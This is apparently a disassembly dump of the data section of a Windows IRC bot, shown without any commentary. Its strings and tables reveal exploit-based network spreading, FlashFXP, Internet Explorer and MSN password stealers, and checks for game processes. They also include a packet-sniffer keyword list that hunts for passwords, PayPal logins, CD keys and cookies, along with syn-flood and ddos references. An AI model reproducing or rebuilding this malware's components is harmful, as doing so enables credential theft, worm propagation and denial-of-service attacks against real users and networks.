		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CE04	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CE18	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CE50	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CE7C	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CEB4	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CEF8	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41CF28	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 4
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CF7C	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_414052+BBo
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 10h
dword_41CFC0	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41CFF0	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D028	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D058	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D078	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D0B4	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D0C8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D110	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 4
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D204	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 10h
dword_41D240	dd 2343003h, 2037525h	; DATA XREF: sub_414A1E+3C4o
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D2AC	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 4
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 4
asc_41D2D8	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 10h
unk_41D2E0	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 4
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D324	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 10h
dword_41D360	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D3BC	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D404	dd 70747468h, 2F3A73h	; DATA XREF: sub_414EF4+9DDo
dword_41D40C	dd 70747468h, 2F3Ah	; DATA XREF: sub_414EF4+9C6o
dword_41D414	dd 7274533Ah, 676E69h	; DATA XREF: sub_414EF4+983o
					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D434	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D474	dd 2Ch			; DATA XREF: sub_414EF4+83Bo
					; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D484	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 4
dword_41D4E8	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D538	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D53C	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 10h
dword_41D570	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o
					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D5A4	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 4
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D6D4	dd offset aUser_1	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		align 10h
off_41D730	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 8
		dd offset aSxt		; "sxt "
		align 10h
		dd offset aAuth		; "auth	"
		align 8
		dd offset aPasswort	; "passwort "
		align 10h
		dd offset aCdkey	; "cdkey"
		align 8
		dd offset aCdKey_0	; "cd-key"
		dd 0
		dd offset aCdKey	; "cd key"
		align 8
		dd offset aPassword	; "password"
		align 10h
		dd offset aPaypal_com	; "paypal.com"
		align 8
		dd offset aPaypal	; "paypal"
		align 10h
		dd offset aIrcOperator	; "irc operator"
		align 8
		dd offset aLP		; "l/p"
		align 10h
		dd offset aSsh1_5	; "SSH-1.5"
		dd 0
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D7A4	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		dd 2 dup(0)
off_41D7E8	dd offset dword_41D844	; DATA XREF: sub_415EB7+98o
		align 10h
		dd offset dword_41D83C
		align 8
		dd offset dword_41D834
		align 10h
		dd offset dword_41D82C
		align 8
		dd offset dword_41D824
		align 10h
		dd offset dword_41D81C
		dd 2 dup(0)
dword_41D81C	dd 54495551h, 20h	; DATA XREF: .data:0041D810o
dword_41D824	dd 54524150h, 20h	; DATA XREF: .data:0041D808o
dword_41D82C	dd 4E494F4Ah, 20h	; DATA XREF: .data:0041D800o
dword_41D834	dd 49504F54h, 2043h	; DATA XREF: .data:0041D7F8o
dword_41D83C	dd 49544F4Eh, 204543h	; DATA XREF: .data:0041D7F0o
dword_41D844	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	.data:off_41D7E8o
aDdos		db 'ddos',0             ; DATA XREF: .data:0041D7DCo
		align 4
aServu		db 'servu',0            ; DATA XREF: .data:0041D7D4o
		align 10h
aServU		db 'serv u',0           ; DATA XREF: .data:0041D7CCo
		align 4
aServU_0	db 'serv-u',0           ; DATA XREF: .data:0041D7C4o
		align 10h
aClone		db 'clone ',0           ; DATA XREF: .data:0041D7BCo
		align 4
aFlood		db 'flood ',0           ; DATA XREF: .data:0041D7B4o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: .data:0041D7ACo
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: .data:off_41D7A4o
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: .data:0041D798o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: .data:0041D790o
aLP		db 'l/p',0              ; DATA XREF: .data:0041D788o
aIrcOperator	db 'irc operator',0     ; DATA XREF: .data:0041D780o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: .data:0041D778o
		align 10h
aPaypal_com	db 'paypal.com',0       ; DATA XREF: .data:0041D770o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: .data:0041D760o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: .data:0041D758o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: .data:0041D750o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: .data:0041D748o
		align 10h
aAuth		db 'auth ',0            ; DATA XREF: .data:0041D740o
		align 4
aSxt		db 'sxt ',0             ; DATA XREF: .data:0041D738o
		align 10h
aLogin_0	db 'login ',0           ; DATA XREF: .data:off_41D730o
		align 4
aPw		db 'pw=',0              ; DATA XREF: .data:0041D724o
aPass_1		db 'pass=',0            ; DATA XREF: .data:0041D71Co
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: .data:0041D714o
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: .data:0041D70Co
		align 4
aUsername_0	db 'username=',0        ; DATA XREF: .data:0041D704o
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: .data:0041D6FCo
aAuth_0		db ' :auth ',0          ; DATA XREF: .data:0041D6F4o
aIdentify	db 'identify ',0        ; DATA XREF: .data:0041D6ECo
		align 10h
aOper		db 'oper ',0            ; DATA XREF: .data:0041D6E4o
		align 4
aMailpass	db 'MailPass ',0        ; DATA XREF: .data:0041D6E0o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: .data:0041D6DCo
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: .data:0041D6D8o
		align 4
aUser_1		db 'user ',0            ; DATA XREF: .data:off_41D6D4o
		align 10h
dword_41D980	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41D9B4	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 4
dword_41D9E8	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DA0Ch, 0FD8093AFh, 0D2E6E2ADh
		dd 0A99AE3FBh, 2 dup(0)
dword_41DA20	dd 0E3F44AC0h		; DATA XREF: sub_40A9CF+843r
					; .data:00416845r ...
dword_41DA24	dd 94CFA2BAh		; DATA XREF: .data:0041683Dr
dword_41DA28	dd 11B29A82h		; DATA XREF: .data:00416832r
dword_41DA2C	dd 2B0ED8BCh		; DATA XREF: .data:0041682Cr
		dd 2 dup(0)
off_41DA38	dd offset dword_41DD10	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		align 10h
off_41DA40	dd offset loc_41CC28	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DA44	dd offset dword_41CC1C	; DATA XREF: sub_40CF2F+B8r
off_41DA48	dd offset dword_41CC14	; DATA XREF: sub_40CF2F+D0r
					; sub_40CF2F+DFr
; ---------------------------------------------------------------------------
		cld
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[esp+ecx*8], dl
		inc	ecx
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd offset dword_41CC14
		align 10h
dword_41DA70	dd 0AED0C3E0h, 9DADB3BCh, 2 dup(0) ; DATA XREF:	sub_40D043:loc_40D31Fo
					; sub_40D871:loc_40DCB8o
dword_41DA80	dd 6B6F6B23h, 6Fh, 1Eh dup(0) ;	DATA XREF: sub_40332B+1A1o
					; sub_4093B6+6Co ...
byte_41DB00	db 0FCh			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 8Bh,	8Eh, 0E6h
		dd 0E2h, 1Eh dup(0)
byte_41DB80	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DC00	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
					; sub_40D871+242o
dword_41DC0C	dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ;	DATA XREF: sub_406A23+2Eo
					; sub_406AE7+2Eo
dword_41DD10	dd 0FE87BCF5h, 0C7FCA2ECh, 0A1h, 0 ; DATA XREF:	.data:off_41DA38o
dword_41DD20	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .data:00416B0Do
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 10h
aEntry		db 'entry',0            ; DATA XREF: .data:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: .data:loc_416AC5o
		align 10h
aPing08x	db 'PING :%08X',0       ; DATA XREF: .data:00416A54o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .data:0041684Bo
		align 10h
dword_41DDA0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o
off_41DDB0	dd offset off_4172BC	; DATA XREF: .data:off_4172C0o
					; .data:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DDD0	dd offset off_4172BC	; DATA XREF: .data:off_417308o
					; .data:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DDE8	dd 0			; DATA XREF: sub_401856:loc_40186Er
					; sub_401856+21r ...
dword_41DDEC	dd 0			; DATA XREF: sub_401856:loc_401883r
					; sub_401856+36r ...
dword_41DDF0	dd 0			; DATA XREF: sub_401856:loc_401898r
					; sub_401856+4Br ...
dword_41DDF4	dd 0			; DATA XREF: sub_401856+3r
					; sub_401856+Cr ...
		dd 0
dword_41DDFC	dd 0			; DATA XREF: sub_4018AF+40r
					; sub_4018AF+62r ...
byte_41DE00	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DE08	dd 0			; DATA XREF: sub_40332B+1Ar
					; sub_404CBB+1Br ...
dword_41DE0C	dd 1			; DATA XREF: sub_40332B+Bo
dword_41DE10	dd 77E7C706h		; DATA XREF: sub_403BD3+28w
					; sub_409C36+12r ...
		align 8
dword_41DE18	dd 71C245E0h		; DATA XREF: sub_403BD3+53w
dword_41DE1C	dd 71C243F6h		; DATA XREF: sub_403BD3+66w
dword_41DE20	dd 71C59904h		; DATA XREF: sub_403BD3+79w
dword_41DE24	dd 71C453F8h		; DATA XREF: sub_403BD3+8Cw
dword_41DE28	dd 71C2FA86h		; DATA XREF: sub_403BD3+9Fw
dword_41DE2C	dd 71C574FAh		; DATA XREF: sub_403BD3+B2w
dword_41DE30	dd 71C214BAh		; DATA XREF: sub_403BD3+C5w
dword_41DE34	dd 71C4A1B4h		; DATA XREF: sub_403BD3+D8w
dword_41DE38	dd 71C59530h		; DATA XREF: sub_403BD3+EBw
dword_41DE3C	dd 71B2ACCBh		; DATA XREF: sub_403BD3+112w
dword_41DE40	dd 71B22C25h		; DATA XREF: sub_403BD3+125w
dword_41DE44	dd 71B2A381h		; DATA XREF: sub_403BD3+138w
dword_41DE48	dd 71B28D0Dh		; DATA XREF: sub_403BD3+14Bw
dword_41DE4C	dd 7622A3F4h		; DATA XREF: sub_403BD3+219w
					; sub_408B30+118r ...
dword_41DE50	dd 5E0C4E7Dh		; DATA XREF: sub_403BD3+1F2w
					; sub_414EF4+6Cr ...
dword_41DE54	dd 71AB33DFh		; DATA XREF: sub_403BD3+16Cw
					; sub_403BD3+197r ...
dword_41DE58	dd 71ABC076h		; DATA XREF: sub_4020C2+DBr
					; sub_403BD3+17Fw ...
dword_41DE5C	dd 71AB3A2Ch		; DATA XREF: sub_403BD3+192w
					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E264	dd 0			; DATA XREF: sub_4042FB+3r
					; sub_4042FB+20o
dword_41E268	dd 0			; DATA XREF: sub_4042FB+12o
					; sub_4042FB:loc_404327r
		align 10h
dword_41E270	dd 76BF1C22h		; DATA XREF: sub_405FA3+46w
					; sub_405FA3+7Ar ...
dword_41E274	dd 76BF1D54h		; DATA XREF: sub_405FA3+59w
					; sub_405FA3+83r ...
dword_41E278	dd 76BF1E6Ch		; DATA XREF: sub_405FA3+6Cw
					; sub_405FA3+8Cr ...
dword_41E27C	dd 76BF32DDh		; DATA XREF: sub_405FA3+33w
					; sub_405FA3+71r ...
dword_41E280	dd 14ADC8h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_405FA3+4o
					; sub_406041+Bo ...
byte_41E29C	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E2A0	dd 0			; DATA XREF: sub_409226+61w
					; sub_409226+77w ...
		align 8
dword_41E2A8	dd 14ADF0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40938F+1Ao
					; sub_4095A4+6o ...
dword_41E2C0	dd 0			; DATA XREF: sub_40938F+3w
					; sub_4095A4+11r ...
		align 8
dword_41E2C8	dd 863A00h		; DATA XREF: sub_40938F+15w
					; sub_4095A4+57r ...
dword_41E2CC	dd 0			; DATA XREF: sub_409CB1+6r
					; sub_409DD0+65w ...
dword_41E2D0	dd 0			; DATA XREF: sub_409DD0+3Fw
					; sub_409DD0+44r ...
dword_41E2D4	dd 0			; DATA XREF: sub_409CB1+F6r
					; sub_409DD0+91w ...
dword_41E2D8	dd 0			; DATA XREF: sub_409CB1+B9r
					; sub_409DD0+7Bw ...
		align 10h
byte_41E2E0	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E6E8	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E868	dd 40h dup(0)		; DATA XREF: sub_40CF2F+Eo
					; sub_40CF2F+A6o ...
dword_41E968	dd 3 dup(0)		; DATA XREF: sub_40CF2F+23o
					; sub_40CF2F+36o ...
dword_41E974	dd 0			; DATA XREF: sub_40CF25+3r
					; sub_40D366+15r ...
		dd 0
dword_41E97C	dd 0			; DATA XREF: sub_40E618+49w
					; sub_40E618:loc_40E66Dw
byte_41E980	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EA84	db 0AFh			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		db 0CFh, 0F7h, 22h
		dd 8848C018h, 0B368C8BAh, 0C033A9h, 0
dword_41EA98	dd 778BADEBh, 11714D53h, 0C9854DFFh, 55D567CFh,	0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EAAC	dd 69ABDD96h		; DATA XREF: sub_4102AE+1Do
					; sub_410318+7w ...
dword_41EAB0	dd 0B9C89E15h		; DATA XREF: sub_4102AE+2Do
					; sub_410318+11w ...
dword_41EAB4	dd 0EFB58C55h		; DATA XREF: sub_4102AE+3Do
					; sub_410318+1Bw ...
dword_41EAB8	dd 7AE18F7Bh		; DATA XREF: sub_4102AE+4Do
					; sub_410318+25w ...
		align 10h
byte_41EAC0	db 0DFh			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		db 0FCh, 0EFh, 91h
		dd 0A2928C83h, 0CEE88CD5h, 80C099CDh, 2	dup(0)
dword_41EAD8	dd 2 dup(0)		; DATA XREF: sub_41113B+7E8o
dword_41EAE0	dd 0			; DATA XREF: sub_411DC5+557o
dword_41EAE4	dd 2 dup(0)		; DATA XREF: sub_411DC5+579o
dword_41EAEC	dd 0			; DATA XREF: sub_4127D0+9r
					; sub_4127D0+16w
dword_41EAF0	dd 0			; DATA XREF: sub_4127D0+BFw
					; sub_4127D0:loc_4128A0r
dword_41EAF4	dd 2 dup(0)		; DATA XREF: sub_412D4C+3o
					; sub_412E04+7Fo
dword_41EAFC	dd 6B636170h, 652E6465h, 6578h,	3Eh dup(0) ; DATA XREF:	sub_406E8E+208o
					; sub_407148+172o ...
dword_41EC00	dd 0DF45EE1Dh		; DATA XREF: sub_40A9CF+838r
					; .data:00416909w
dword_41EC04	dd 0DA925B59h		; DATA XREF: .data:00416913w
dword_41EC08	dd 5F9860Eh		; DATA XREF: .data:0041691Dw
dword_41EC0C	dd 0AF72BDABh		; DATA XREF: .data:00416927w
dword_41EC10	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
dword_41ED18	dd 40h dup(0)		; DATA XREF: sub_40A9CF+1082o
					; sub_40A9CF+108Eo ...
byte_41EE18	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EE98	db 0			; DATA XREF: sub_403DF3:loc_403F07r
